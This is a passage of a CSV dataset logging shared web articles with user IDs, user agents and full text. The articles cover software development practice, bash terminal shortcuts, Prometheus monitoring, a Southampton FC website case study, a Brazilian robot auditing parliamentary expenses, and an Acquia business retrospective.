1484565419,CONTENT SHARED,-2708021095252721995,3609194402293569455,7059555882526667200,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",SP,BR,HTML,https://www.embarcados.com.br/samsung-ocean-turmas-2017/,SAMSUNG OCEAN - Novas turmas de treinamento de 2017 - Embarcados,"Confira os temas: Introdução ao Desenvolvimento de Aplicativos Android & Samsung Mobile SDK São Paulo - 16 de Janeiro - 14:00 às 17:00 TÓPICOS: Introdução ao Android Ambiente de desenvolvimento Interfaces Gráficas Tratamento de Eventos Persistência de Dados Intent Introdução ao Samsung Mobile SDK Instalação e Configuração Overview: Gesture, Motion, ImageFilter, S-Pen, Visual View, MultiWindow, Pass Global Game Jam Manaus - 20 de Janeiro - HORÁRIO: das 08:00 às 22:00 Sobre o evento: A Global Game Jam é um evento que tem como propósito unir pessoas com diferentes habilidades para o desenvolvimento em 48 horas de um jogo. E sim, é free . O tema do jogo é liberado às 5pm local, antes disso, não há informações sobre o que virá. A Jam não é online, você precisa estar filiado a uma sede local para participar. Sobre o local: A sede será no Samsung Ocean Manaus, seu horário de funcionamento é das 8 às 22, planeje-se! No Ocean será oferecido somente espaço e internet. Tópicos em Desenvolvimento Ágil São Paulo - 1 de Fevereiro - 14:00 às 17:00 OBJETIVO: Apresentar os conceitos básicos do ciclo de desenvolvimento de software, focando nos princípios, práticas e ferramentas associadas ao desenvolvimento ágil. TÓPICOS: Ciclo de vida de software Metodologias de desenvolvimento Requisitos ágeis Construção ágil Teste de software Sou engenheiro eletrônico com pós-graduação em Engenharia de Software. Especialista na área de sistemas embarcados, com mais de 11 anos de experiência em desenvolvimento de firmware para sistemas embarcados (baremetal e baseados em RTOS), distribuições Linux Embarcado (Buildroot e Yocto Project), device drivers, etc. Atualmente atuo como consultor/desenvolvedor na área de sistemas embarcados e também como engenheiro de desenvolvimento.",pt
1484567664,CONTENT SHARED,-7120369133608664808,3915038251784681624,2839973453847029371,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.95 Safari/537.36",SP,BR,HTML,http://cio.com.br/gestao/2017/01/16/e-chegada-a-hora-do-desenvolvimento-de-software-orientado-por-hipoteses/,É chegada a hora do desenvolvimento de software orientado por hipóteses - CIO,"Embora pouco conhecido, o conceito de desenvolvimento de software e negócios Hypothesis-Driven Development (ou ""Desenvolvimento Orientado por Hipóteses"") não é estranho à maioria dos profissionais. Basta recordar as aulas de metodologia científica. Recordando: observa-se o mundo ao redor, formula-se uma explicação prévia, ou hipótese, para explicar determinado fenômeno. Então, testamos essa hipótese em um teste controlado. Caso o resultado esperado seja obtido, nossa teoria é confirmada, servindo de base para novas explorações. Caso não, a hipótese inicial é abandonada e novas alternativas são buscadas. A experimentação é a base do método científico, uma forma sistemática de explorar o mundo. Embora os experimentos científicos sejam associados a laboratórios, eles podem ocorrer em todo o lugar, a qualquer tempo, inclusive no desenvolvimento de software e novas propostas de negócio. Praticar a metodologia de ""Desenvolvimento Orientado por Hipóteses"" é pensar sobre o desenvolvimento de novas ideias, produtos e serviços - incluindo mudanças organizacionais - como uma série de experimentos para determinar se um resultado esperado foi alcançado. O processo é realizado até que o resultado esperado seja obtido ou a ideia se mostre inválida. Precisamos passar a entender uma solução proposta para determinado problema como uma hipótese, especialmente no desenvolvimento de um novo produto ou serviço - que envolva o mercado que se está mirando, o modelo de negócio, como os códigos irão se comportar e até como o consumidor irá usá-lo. Não fazemos mais projetos, mas sim experimentos. As estratégias de Customer Discovery (Descoberta do Consumidor) e Lean Startup são empregadas para testar suposições acerca dos consumidores. O princípio da experimentação também se aplica ao desenvolvimento orientado a testes - nós criamos o teste antes, depois usamos o teste para validar se a programação está correta. Em última instância, o desenvolvimento de um produto ou serviço é um processo de teste de uma hipótese de um comportamento em um ambiente ou mercado almejado. Os principas benefícios da abordagem de experimentação são as evidências mensuráveis e o contínuo aprendizado. Apreender é o que ganhamos ao conduzir um experimento. O que esperávamos realmente aconteceu? Se não, quais inputs podem nos ajudar a direcionar o que devemos fazer a seguir? Ou seja, para aprender, temos que utilizar a metodologia científica para investigar um fenômeno, adquirindo novos conhecimentos e corrigindo e integrando os conhecimentos prévios à nossa visão geral. Com o amadurecimento da indústria de software, temos agora novas oportunidades de alavancar capacidades fundamentais como entrega e design contínuo para maximizar nosso potencial de aprender rápido o que funciona ou não. Ao empregarmos a abordagem experimental para descobrir informações, nós podemos testar mais rapidamente as soluções propostas versus os problemas identificados nos produtos e serviços que queremos desenvolver. Com o objetivo de otimizar a efetividade da solução dos problemas certos, ao invés de se tornar uma fábrica de recursos que continuamente constrói soluções. Um exemplo de empresa para qual trabalhamos que utiliza a metodologia de Desenvolvimento Orientado a Hipóteses é a Lastminute.com. A equipe do projeto formulou uma hipótese que previa que consumidores apenas tinham predisposição a pagar um preço premium para um hotel de acordo com o período do dia em que eles fazem a reserva. Tom Klein, CEO e presidente da Sabre Holdings, compartilhou essa história de como eles aumentaram a taxa de conversão em 400% em uma semana. Combinar práticas como o ""Desenvolvimento Orientado a Hipóteses"" e a ""Entrega Contínua"" acelera a experimentação e amplifica o conhecimento validado. Isso permite que aceleremos a taxa de inovação enquanto reduzimos sensivelmente os custos, deixando os concorrentes para trás. Idealmente, visamos atingir o seguinte processo: mudanças radicais, que nos permitem identificar relações de casualidade entre mudanças em nossos produtos e serviços, com seus respectivos impactos nas métricas. ""Desenvolvimento Orientado a Hipóteses"" é uma grande oportunidade para testar o que você pensa ser um problema, antes de começar a trabalhar na solução. (*) Barry O'Reilly é co-autor do livro ""Lean Enterprise""",pt
1484576442,CONTENT SHARED,-8948234514303933700,3609194402293569455,7059555882526667200,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",SP,BR,HTML,http://startupi.com.br/2017/01/nova-pulseira-tecnologica-avisa-se-voce-ja-bebeu-demais/,Nova pulseira tecnológica avisa se você já bebeu demais,"Se você é uma daquelas pessoas que perde o controle e acaba bebendo mais do que deveria, precisa conhecer uma pulseira apresentada durante a CES, maior evento de tecnologia do mundo, que aconteceu em Las Vegas. Chamado Proof , o vestível, da startup Milo Sensors, lê moléculas de álcool na pele do usuário para alertar quando a pessoa passar dos limites por meio de um aplicativo. Segundo entrevista da empresa concedida ao site de tecnologia Mashable , a Proof é extremamente discreta. Muito parecida com outras pulseiras conectadas disponíveis no mercado, só é preciso acessar o app no smartphone para checar o nível de álcool. De acordo com a empresa, o vestível usa sensores eletroquímicos baseados em enzimas que convertem álcool consumido em corrente elétrica. Assim, fica possível detectar o nível de álcool no sangue de maneira instantânea. Além do relatório em tempo real sobre nível de álcool, a pulseira também conta com outros interessantes recursos. É possível saber, por exemplo, quanto tempo falta para ficar sóbrio e ainda estima o quão bêbado você vai ficar durante à noite. A empresa responsável pela Proof quer lançar o dispositivo ainda este ano em uma campanha de crowdfunding. Espera-se que o preço fique entre US$100 e US$150. *Fonte: Estadão Conteúdo",pt
1484579813,CONTENT SHARED,569574447134368517,-4465926797008424436,6992931052309362824,"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2982.0 Safari/537.36",SP,BR,HTML,https://www.blockloop.io/mastering-bash-and-terminal,Mastering Bash and Terminal,"If there is one tool that every developer uses regardless of language, platform, or framework it's the terminal. If we are not compiling code, executing git commands, or scp-ing ssl certificates to some remote server, we are finding a new version of cowsay to entertain ourselves while we wait on one of the former. As much as we use the terminal it is important that we are efficient with it. Here are some ways I make my time in the terminal efficient and effective. Assumed Settings Some of these commands list alt as a prefix character. This is because I have manually set alt as a meta key. Without this setting enabled you have to use the esc key instead. I recommend enabling the alt key. In Mac Terminal.app this setting is Preferences > Profiles tab > Keyboard sub-tab > at the bottom ""Use option as meta key."" In iTerm2 the setting is at Preferences > Profiles tab > Keys sub-tab > at the bottom of the window set ""left/right option key acts as"" to ""+Esc"". In GNOME terminal Edit > Keyboard Shortcuts > uncheck ""Enable menu access keys."" I also assume you're using bash. I know there are some cool newcomers out there like zsh and fish, but after trying others out I always found that some of my utilities were missing or ill-replaced. If you are not using bash then YMMV. I also assume you are using at least bash version 4. If you're on a Mac then, unless you have manually installed bash with homebrew, you are using an old version. Install bash with homebrew and include it in /etc/shells . Repeat Commands I spend a lot of my time in terminal repeating commands that I have previously run. One thing I noticed a lot of people do is use the up and down arrows to navigate their history of commands. This is terribly inefficient. It requires repositioning your hands and often times removing your eyes from the computer screen. Also, your history (depending on your HISTSIZE) can be very long. Using the up and down arrows is almost like searching through a terrible version of the Oxford English Dictionary which has one word per page. Instead of searching line-by-line I use search history ( ctrl-r and ctrl-s ). In your terminal window, before you type any text press ctrl-r and you should see your prompt change to (reverse-i-search): . Now begin typing any part of any previous command you have executed and you will see the most recent command which matches your search. If this is not the one you want, press ctrl-r again to search incrementally. For example, if you are searching for kubectl delete pods -l=app=nginx you would type kubectl or kubectl del . You should land on that command. If, while incrementally searching backward, you pass the one you're looking for, press ctrl-s to go the other direction and you will see your prompt change to (i-search): . Once you find the command you want press enter to execute it or move the cursor left/right to modify the command first. NOTE ctrl-s probably won't work by default for most terminals. You will need to add stty -ixon to your ~/.bashrc ( ~/.bash_profile for Mac). Sometimes you know that the command that you want to repeat is only two or three places back in history. In these cases it is sometimes easier to move up to that command directly. But you still should not use the arrow keys. Bash has keyboard shortcuts for this too! Here is where we use ctrl-p for ""previous"" or ctrl-n for ""next."" Pressing ctrl-p moves to the previous command in history (replacing the up arrow), and ctrl-n moves to the next command (replacing the down arrow). In mose cases your history will probably be set to record duplicates. This gets pretty annoying for me so I use the following setting to make sure my history doesn't get flooded with duplicate entries. Add this to your ~/.bashrc or ~/.bashprofile and your history will only keep the newest versions of commands. If you typed git status seven times, it will only record the latest one and delete the previous entries. Movements Now that we know we don't need the up and down arrow keys, what about the left and right? Unfortunately, these keys are still needed for single character movements, but I find myself using them less often. Here are some key combinations to move your cursor a little more efficiently. ctrl-a - move the cursor to the beginning of the current line ctrl-e - move the cursor to the end of the current line alt-b - move the cursor backwards one word alt-f - move the cursor forward one word ctrl-k - delete from cursor to the end of the line ctrl-u - delete from cursor to the beginning of the line alt-d - delete the word in front of the cursor ctrl-w - delete the word behind of the cursor The last four aren't necessarily movements, but I use them in conjunction most of the time. Copy / Paste One of my favorite MacOS command line utilities is pbcopy / pbpaste . I like them so much that I created the aliases for my linux machines using xclip (shared below). These two commands use your system clipboard (also called the pasteboard, hence the names). You can pipe data to pbcopy to copy something to your system clipboard or you can pipe pbpaste to another command to paste from your clipboard. Here are some examples that I use: In linux, I put the following in my ~/.bashrc to create the same effect. Changing Directories cd is one of my most used commands according to my bash history. One thing I find myself doing a lot is changing between two directories or briefly changing from directory a to directory b and then back to a. Depending on the reason I'm changing directories I will use either cd - or a combination of pushd and popd . If you type cd - and press enter, you will change to your previous working directory. On the other hand, sometimes I know that I want to go to some directory in a different place, but I might cd a few times to get there, but I want to mark my place so that I can get back quicker. In this case, you would use pushd like this. You can pushd multiple times to build a stack. I don't find myself doing this much, but it's there if you need it. Background Processes One of my pet peves about working with other software developers is that they almost always have ten or more terminal windows open at all times. Usually, they will have one terminal per directory they are working with (this can be avoided by using pushd , popd , and cd tricks mentioned above). But often they will have a few windows open that are running processes which have locked the window. This is difficult to work with because it requires flipping back and forth and knowing where everything is. For executing processes I like to use a mixture of some commands. If you need to run a command indefinitely you can send it to the background by first running it and then pressing ctrl-z . This will suspend or pause the process. After it has been suspended, type bg and press enter. This will move it to a running state, but it will no longer have control of your terminal window. However, if you close the terminal that job will terminate. To avoid this, you disown the process by typing disown and pressing enter. At this point the process is no longer a child of your current terminal process. I often use this to run kubectl proxy or python -m SimpleHTTPServer . ctrl-z - move the current process to the background in a suspended state. jobs -l - list the current background processes for the current tty session. bg - tell the most recent background process to continue running in the background fg - bring the most recent background process back to the foreground disown -h - disown the most recent background job. This will remove it from your current tty session. It will not be able to be brought back to the foreground. You will have to control it either with kill or something else. bg , fg , and disown can be used with the job number found in jobs -l . If you run jobs -l you will see the job number at the beginning of the line. If you want to bring the 2nd job to the foreground you run fg %2 . If you want to disown the fourth job then you run disown -h %4 , and so on. The plus sign (or minus sign) at the bigging of the line has meaning as well. A plus sign indicates that the job is the most recently used, or the one that will be targeted if you type any of the commands without a job ID. The minus sign is the second most recently used. I use ctrl-z a lot because I use a single terminal window for vim and as my command line interface. When I'm writing code in vim and I need to get back to my shell prompt I use ctrl-z to suspend vim. NOTE this will still print stdout and stderr to your command window. If you want to change that then you can redirect to files I modified my PS1 to show my current background job count. Working With Files Several times throughout the day I want to view the contents of a file. Before, I would cat the file or open it in vim . cat was annoying because it flooded my terminal history. This is when I learned to use less to open files with pagination. When you open a file with less the contents of the file become paginated and you start at page one. What's great about less is that many of my favorite key combinations work. You can use ctrl-u to page up, ctrl-d to page down, ctrl-p to scroll up one line, ctrl-n to scroll down one line, g goes to the top of the file, G goes to the bottom of the file, and / searches the file. While less is great for opening files, I may not know where the file is in the first place. Say I have a file named ""auth.py"" but I don't remember exactly where I put it. I could cd back and forth until I find it, or do what some people do and run start . and browse for it in a UI window (terrible workflow). Instead, I use either find , ag (silver searcher), or tree . find is great for searching by file name. You can run find . -type f -name auth.py to search the current directory for a file named ""auth.py"". tree is great for listing a directory in a tree format (much like how you see it in a UI). ag is an applciation called ""the silver searcher."" It is essentially a modernized version of grep and I find myself using it quite often. It's better than grep in that it automatically ignores commonly ignored files such as the .git directory, virtualenv, and anything listed in your .gitignore. I like silver searcher because the command line arguments are very similar to grep so my flags are generally transferrable. Note It's best to combine these commands with less because they will likely flood your terminal history . Choose a Few to Start With I did not use all of these when I first started using bash, nor did I memorize them all at once. I picked up one or two here and there over the years. It's difficult to memorize key combinations, especially when there are so many of them. Pick one or two shortcuts and focus on using them. I find myself using these commands by muscle memory, not by memorizing each keyboard shortcut. In fact, once I started to write this I had to open up the terminal and work around to remember which shortcuts I use. I hope these help you work with bash and terminal more effectively. It is easy to learn one new trick and force yourself to use it for a few days until you get used to it. Once you are comfortable with that command, pick up another one.",en
1484582788,CONTENT SHARED,-4668565519400205181,3609194402293569455,7059555882526667200,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",SP,BR,HTML,https://medium.com/@danielarcher/monitorando-aplicacoes-php-prometheus-9f33637f3e97,Monitorando Aplicações PHP com Prometheus,"Enviando dados da Aplicação Para que o Prometheus consiga capturar corretamente os dados da sua aplicação é necessário que a saída seja formatada de uma maneira específica, e para isso temos diversos clients . No nosso caso, vou mostrar um pouco do Client PHP Abaixo, nós adicionamos algumas métricas sobre a aplicação. E logo após, expomos esses dados para a coleta do Scraper Exporters Para finalizar, podemos adicionar exporters para quase todos os tipos de serviços que utilizamos, desde dados de deploy do Jenkins, como dados de filas do RabbitMQ. Basta conferir essa lista de exporters para entender as infinitas possibilidades de monitoramento dessa ferramenta. Nós, da Kinghost , ficamos bem empolgados com esse potencial, e espero que seja útil para outros Devs também. O AlertManager merece um capitulo só para ele, abordando configurações de saída e querys de alertas, então, aguardem o próximo artigo!",pt
1484589585,CONTENT SHARED,-6348943063155744346,3915038251784681624,2839973453847029371,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.95 Safari/537.36",SP,BR,HTML,https://econsultancy.com/blog/68696-digital-transformation-in-the-premier-league-southampton-fc-s-fan-first-strategy/,Digital transformation in the Premier League: Southampton FC's fan-first strategy,"Safe in the knowledge that fans can't switch their allegiance, clubs are happy to make do with a poor UX and frustrating ecommerce experience. So it's a pleasant surprise to see Southampton FC buck this trend and create a website that offers a decent UX and interesting content. My colleague Ben Davis has already written a comprehensive review of the site , but this post looks in more depth at how the website was developed and its role in a larger digital transformation project that Southampton is working on with digital agency Delete . The business case While Southampton FC accepts that it can't yet compete with mega-clubs like Manchester United and, ahem, Tottenham, it can aim to consistently be among the 'best of the rest' in the Premier League. In order to maintain and improve its on-pitch performance, the club needs to increase its sponsorship revenues. And in order to become more attractive to sponsors, it needs to grow a larger group of engaged fans globally. It's fair to say that few people really dislike Southampton, and it has a reputation for nurturing young talent that could act as its USP if packaged correctly. In marketing speak, the club is a challenger brand. But how can you turn a general feeling of warmth into genuine support for the club? The sense was that a great digital experience would help nudge people towards becoming fans. Southampton's club manifesto However, up until two years ago the club didn't have a firm understanding of its fan base, so it set about doing some old fashioned marketing. A market sizing exercise revealed that the club's global potential customer base was around 190m people, but it was only monetizing 11% of that audience. Obviously only a very small percentage of that number will be able to attend a match at Saint Mary's, so the club needed to find other revenue streams, whether that be from advertising, sponsored content, or a digital membership scheme. All of these potential avenues would require the club to improve its digital platforms and bring in more site traffic. To really make the most of the opportunity the club would also need to vastly improve its data strategy. Until recently the main website, ticketing and club shop all used different databases and none of the systems spoke to each other. One of Southampton's aspirations is to gain a single customer view so it can deliver a more consistent customer experience, and also maximize revenues. This latter part will take a while longer to come to fruition, but the new website is the start of the process. New tactics Southampton is attempting to turn its site into the destination for fans looking for news about the team during the week and live updates on match days. This is a huge challenge, as the club is trying to teach fans a new behaviour, something which many brands have tried and failed to achieve in the past. Delete also recognized that the club is competing for people's attention with other entertainment brands, such as Netflix, so the user experience is key if it is to stand a chance of success. Research undertaken by Saints and Delete showed that football fans are constantly grazing on content during the week, jumping from sites like the BBC, to social networks, to sites like Sports Bible, to Sky Sports, and so on. On a match day fans will habitually turn to sports sites like the BBC which give them live updates from every Premier League game. What, then, can Southampton do to get itself included in that list of sites that fans visit each week, rather than just being seen as another boring official club site? The answer was to take a fan-first approach (this is the era of customer-centricity after all). Southampton's new website According to Tom Dougherty, UX director at Delete: ""We asked what do the fans want, and then created that experience for them to make sure they keep coming back. If you put business needs first it impacts the fan experience negatively, which then harms the club's sponsors."" The outcome of the fan-first approach is the new Saints Live broadcast hub, which aims to provide a constant stream of engaging, unique content about the team. There isn't a homepage as such, just a content feed which can be filtered based on different themes. The entire site is built on a single application, meaning it never reloads and navigation is simplified. Again, see our review for more detail . Content strategy During the design phase the club developed seven different audience personas, and everything is created with one of these groups in mind. The content team, headed by Tom Biggs, aims to be constantly refreshing the feed with snackable content such as images, videos and tweets, so there's always something new for fans to engage with. Southampton's content feed This involved developing new publishing processes and making content work harder, as the content team of nine people is still relatively small compared to other Premier League teams. Fans are hungry to know what's going on at their club, so Southampton needed to get better at utilising its existing content assets, such as press conferences, youth teams, player stories, training programmes, diets, etc Rather than publishing one video in its entirety, how can it be chopped up and packaged into different digital formats to extend its shelf life? Also, sports fans love stats, but few teams make good use of the data they hold on players. Southampton's content team realised the value of these stats and is developing new ways of bringing the information to life to tell engaging stories. Southampton player stats Implementing new working processes required a new, slicker CMS, which Delete built using Sitecore. Previously Southampton's site was built by Football League Interactive, a centralised web platform offered for free to Football League clubs that want to outsource their website in return for giving up the right to any ad revenue. While it's a useful service for lower league clubs looking to reduce their overheads, the UX is poor and every club in the nation logs into the same CMS, which can cause long publishing delays on busy match days. Southampton's new CMS is custom built to allow rapid publication of different formats during the week. While the content team don't have the resource to publish 20 long articles a day, they can easily update the feed with tweets, photos and other social content. All content is given a master tag which dictates where it will eventually live. This tagging system means content is organised around themes rather than formats, and ensures the content is dynamic and readily available in relevant spots around the site. For example, each player has their own content feed, as do matches and club sponsors. Match days Match days are obviously the most important day of the week for football fans, so this is where Southampton really wants to stand out. Before a game the site automatically switches to a match day design, reflecting the fact that fans are only interested in one thing. All content at this stage will be related to the upcoming match, and during the game the site switches to a micro-update platform giving detailed, real-time match information. The matchday experience This format is what fans will be familiar with from other football sites such as the BBC, but as far as I'm aware Southampton is the only football club that has created a similar experience on its own site. Teams will often provide updates via Twitter, but Southampton wants to bring fans to its site rather than providing content for a third-party platform. This is a bold move that bucks the recent trend among publishers for specifically creating content that lives within social platforms. It's a big challenge to get Saints fans to break from their usual routines and turn to the site on match day, but so far the signs are promising. Since the relaunch the site has seen: 80% year-on-year increase in traffic. 101% increase in return visits. 362% increase in match day traffic vs. same matches in 2015/16 season. The next steps There's obviously more to digital transformation than just a flashy new website. The next phase is the somewhat less sexy but equally important overhaul of the backend systems so Southampton can gain a single view of its customers. Until recently the club's retail and ticketing systems were handled by different third parties, so even regular customers remained largely anonymous. Cross-sales opportunities which should have been a no-brainer were impossible due to data constraints. Delete's end goal is to simplify the club's tech stack, bringing it under a centralised system built around Sitecore. A single sign-on will be used to identify fans across the website, content, ticketing and store. Currently fans have to sign up to view video content and listen to live commentary on match days, so there isn't a huge leap to use this sign on to access other services. There will also be a new digital offering for foreign fans, with the aim of providing a content and membership platform that they'll be willing to pay for. When seen in these terms, the website seems like a fairly easy challenge compared to building an entirely new CRM and single customer view. You could equally argue that it's something that should have been done a long time ago. However, in the context of Premier League football, Southampton's commitment to delivering a fan-first digital experience is praiseworthy. And while it would be silly to suggest that digital transformation will guarantee success on the pitch, in the battle for foreign fans Southampton's culture, commitment to excellence, and digital strategy definitely give it an edge on the competition.",en
1484651225,CONTENT SHARED,-3191013159715472435,-1393866732742189886,2008706978002473337,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",MG,BR,HTML,http://www.otempo.com.br/capa/pol%C3%ADtica/rob%C3%B4-acha-de-almo%C3%A7o-de-12-kg-a-cervejas-pagas-pelo-cidad%C3%A3o-1.1424088,Robô acha de almoço de 12 kg a cervejas pagas pelo cidadão,"Em apenas dois meses, Rosie descobriu 3.553 casos suspeitos envolvendo a cota parlamentar dos deputados federais de todo o país. Rosie não é nenhuma funcionária da Ouvidoria da Casa, mas um robô criado por oito amigos que atuam na área de ciência de dados para fiscalizar as despesas dos deputados. A ferramenta cruza informações das notas apresentadas para reembolso com outras, como as da Receita Federal, a presença em plenário, a localização e as característica do lugar onde a compra foi feita. Assim, já foi encontrada uma nota de R$ 170 de um restaurante onde o quilo da refeição custa R$ 14. Ou seja, teriam sido consumidos 12 kg em um dia. Ainda tem o reembolso de um almoço de R$ 41 feito em São Paulo, apenas 35 minutos depois de o deputado ter discursado em Brasília. Só na última semana, 849 casos foram auditados. Destes, 629 resultaram em denúncias envolvendo R$ 378,8 mil pagos com dinheiro público por 216 deputados. O projeto responsável pelos levantamentos recebeu o nome de Operação Serenata de Amor. O nome revela a intenção de desvendar fraudes com valores pequenos. ""Na Suíça, uma ministra perdeu o cargo por ter comprado com dinheiro público um chocolate Toblerone. A ideia é ter um detalhamento tão preciso que seja capaz de detectar um chocolate pago irregularmente"", explica um dos membros, o publicitário Pedro Vilanova. A base de dados considera todos os reembolsos dos deputados que passaram pela Câmara Federal desde 2011. ""Alguns dos denunciados, dessa forma, já não estão mais no cargo, mas terão que prestar contas igualmente"", diz Vilanova. Por orientação jurídica, eles só divulgam o nome dos parlamentares depois de terem tido um retorno da Câmara. Entre os episódios em que já conseguiram não só resposta da Casa, mas a devolução do dinheiro pago equivocadamente está o do então deputado Odelmo Leão (PP-MG), eleito prefeito de Uberlândia. O mineiro gastou R$ 190,05 da cota parlamentar com envio de correspondência da sua campanha. Em agosto passado, Marco Maia (PT-RS), por exemplo, pediu ressarcimento de R$ 154,50 por duas refeições. Ele devolveu, em dezembro, R$ 77,25, referentes a um almoço. De acordo com as regras da Cota de Atividade Parlamentar, as despesas são autorizadas apenas para os parlamentares. O robô ainda encontrou um reembolso de R$ 135,15 para Vitor Lippi (PSDB-SP) na compra de cinco cervejas durante uma viagem à Califórnia, nos Estados Unidos. O tucano devolveu o valor e pediu desculpas. ""Aproveito para assumir a responsabilidade pelo erro cometido, é de praxe dessa assessoria pedir a glosa de itens não autorizados, como bebidas alcoólicas, mas infelizmente dessa vez não identifiquei o produto, já que estava em outra língua"", alegou o parlamentar no mês passado. Já o deputado Rocha (PSDB-AC) apresentou três notas de alimentação do mesmo dia. Duas delas, de R$ 52 e R$ 43, foram emitidas em Rio Branco, no Acre. A outra, de R$ 148, a 4.000 km, em Caxias do Sul, no Rio Grande do Sul. Ele alegou que o segundo reembolso foi de uma despesa feita uma semana antes. Como estava com pressa no dia, pediu a um assessor que voltasse outro dia para emitir o cupom, o que, segundo ele, explicaria a coincidência de data. Sem convencer ninguém, devolveu R$ 148. Criadores buscam mais financiamento Os dados brutos levantados pelo robô Rosie na plataforma Jarbas, ambos desenvolvidos pelos oito jovens na operação Serenata de Amor depois são analisados pelos profissionais e denunciados à Câmara dos Deputados, no próprio site do Legislativo. Como o volume de dados é muito grande, a equipe aceita a colaboração de outras pessoas que tenham conhecimento técnico ou simplesmente que estejam dispostas a divulgar a ideia, além, claro, de doações em dinheiro. Foi graças a um financiamento coletivo que eles conseguiram arrecadar R$ 80 mil e custear a investigação sobre as despesas da Copta de Atividade Parlamentar. O valor angariado foi superior à meta inicial de R$ 60 mil. ""O projeto prevê trabalho até o fim de janeiro e o começo de fevereiro, mas nós já estamos buscando novas formas de viabilizá-lo para que consigamos não parar de trabalhar. Continuamos precisando da ajuda de pessoas"", diz o publicitário Pedro Vilanova, um dos integrantes da ação. Na última semana, eles conseguiram organizar um mutirão com vários colaboradores. Os dados da Operação Serenata de Amor são públicos. Com algumas orientações da equipe, qualquer pessoa pode acompanhar os gastos de seu deputado. A cada semana um relatório novo do trabalho é publicado na página deles no Facebook, onde também é possível contatá-los. Seleção. A ação é uma das 20 escolhidas para a Hack Brazil, que acontece na Brazil Conference at Harvard & MIT, e elege projetos resolutivos em tecnologia, criatividade e inovação.",pt
1484666440,CONTENT SHARED,5135371516547401748,2416280733544962613,5817055449267712130,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.95 Safari/537.36",?,US,HTML,http://buytaert.net/acquia-retrospective-2016,Dries Buytaert,"As my loyal blog readers know, at the beginning of every year I publish a retrospective to look back and take stock of how far Acquia has come over the past 12 months. If you'd like to read my previous annual retrospectives, they can be found here: 2015 , 2014 , 2013 , 2012 , 2011 , 2010 , 2009 . When read together, they provide a comprehensive overview of Acquia's trajectory from its inception in 2008 to where it is today, nine years later. The process of pulling together this annual retrospective is very rewarding for me as it gives me a chance to reflect with some perspective; a rare opportunity among the hustle and bustle of the day-to-day. Trends and cycles only reveal themselves over time, and I continue to learn from this annual period of reflection. Crossing the chasm If I were to give Acquia a headline for 2016, it would be the year in which we crossed the proverbial ""chasm"" from startup to a true leader in our market. Acquia is now entering its ninth full year of operations (we began commercial operations in the fall of 2008). We've raised $186 million in venture capital, opened offices around the world, and now employ over 750 people. However, crossing the ""chasm"" is more than achieving a revenue target or other benchmarks of size. The ""chasm"" describes the difficult transition conceived by Geoffrey Moore in his 1991 classic of technology strategy, Crossing the Chasm . This is the book that talks about making the transition from selling to the early adopters of a product (the technology enthusiasts and visionaries) to the early majority (the pragmatists). If the early majority accepts the technology solutions and products, they can make a company a de facto standard for its category. I think future retrospectives will endorse my opinion that Acquia crossed the chasm in 2016. I believe that Acquia has crossed the ""chasm"" because the world has embraced open source and the cloud without any reservations. The FUD-era where proprietary software giants campaigned aggressively against open source and cloud computing by sowing fear, uncertainty and doubt is over. Ironically, those same critics are now scrambling to paint themselves as committed to open source and cloud architectures. Today, I believe that Acquia sets the standard for digital experiences built with open source and delivered in the cloud. When Tom (my business partner and Acquia CEO) and I spoke together at Acquia's annual customer conference in November, we talked about the two founding pillars that have served Acquia well over its history: open source and cloud. In 2008, we made a commitment to build a company based on open source and the cloud, with its products and services offered through a subscription model rather than a perpetual license. At the time, our industry was skeptical of this forward-thinking combination. It was a bold move, but we have always believed that this combination offers significant advantages over proprietary software because of its faster rate of innovation, higher quality, freedom from vendor lock-in, greater security, and lower total cost of ownership. Creating digital winners Acquia has continued its evolution from a content management company to a company that offers a more complete digital experience platform. This transition inspired an internal project to update our vision and mission accordingly. In 2016, we updated Acquia's vision to ""make it possible for dreamers and doers to craft the digital world"". To achieve this vision, we want to build ""the universal platform for the world's greatest digital experiences"". We increasingly find ourselves at the center of our customer's technology and digital strategies, and they depend on us to provide the open platform to integrate, syndicate, govern and distribute all of their digital business. The focus on any and every part of their digital business is important and sets us apart from our competitors. Nearly all of our competitors offer single-point solutions for marketers, customer service, online commerce or for portals. An open source model allows customers to integrate systems together through open APIs, which enables our technology to fit into any part of their existing environment. It gives them the freedom to pursue a best-of-breed strategy outside of the confines of a proprietary ""marketing cloud"". Business momentum We continued to grow rapidly in 2016, and it was another record year for revenue at Acquia. We focused on the growth of our recurring revenue, which includes new customers and the renewal and expansion of our work with existing customers. Ever since we started the company, our corporate emphasis on customer success has fueled both components. Successful customers mean renewals and references for new customers. Customer satisfaction remains extremely high at 96 percent, an achievement I'm confident we can maintain as we continue to grow. In 2016, the top industry analysts published very positive reviews based on their dealings with our customers. I'm proud that Acquia made the biggest positive move of all vendors in this year's Gartner Magic Quadrant for Web Content Management. There are now three distinct leaders: Acquia, Adobe and Sitecore. Out of the leaders, Acquia is the only player that is open-source or has a cloud-first strategy. Over the course of 2016 Acquia welcomed an impressive roster of new customers who included Nasdaq, Nestle, Vodafone, iHeartMedia, Advanced Auto Parts, Athenahealth, National Grid UK and more. Exiting 2016, Acquia can count 16 of the Fortune 100 among its customers. Digital transformation is happening everywhere. Only a few years ago, the majority of our customers were in either government, media and entertainment or higher education. In the past two years, we've seen a lot of growth in other verticals and today, our customers span nearly every industry from pharmaceuticals to finance. To support our growth, we opened a new sales office in Munich (Germany), and we expanded our global support facilities in Brisbane (Queensland, Australia), Portland (Oregon, USA) and Delhi (India). In total, we now have 14 offices around the world. Over the past 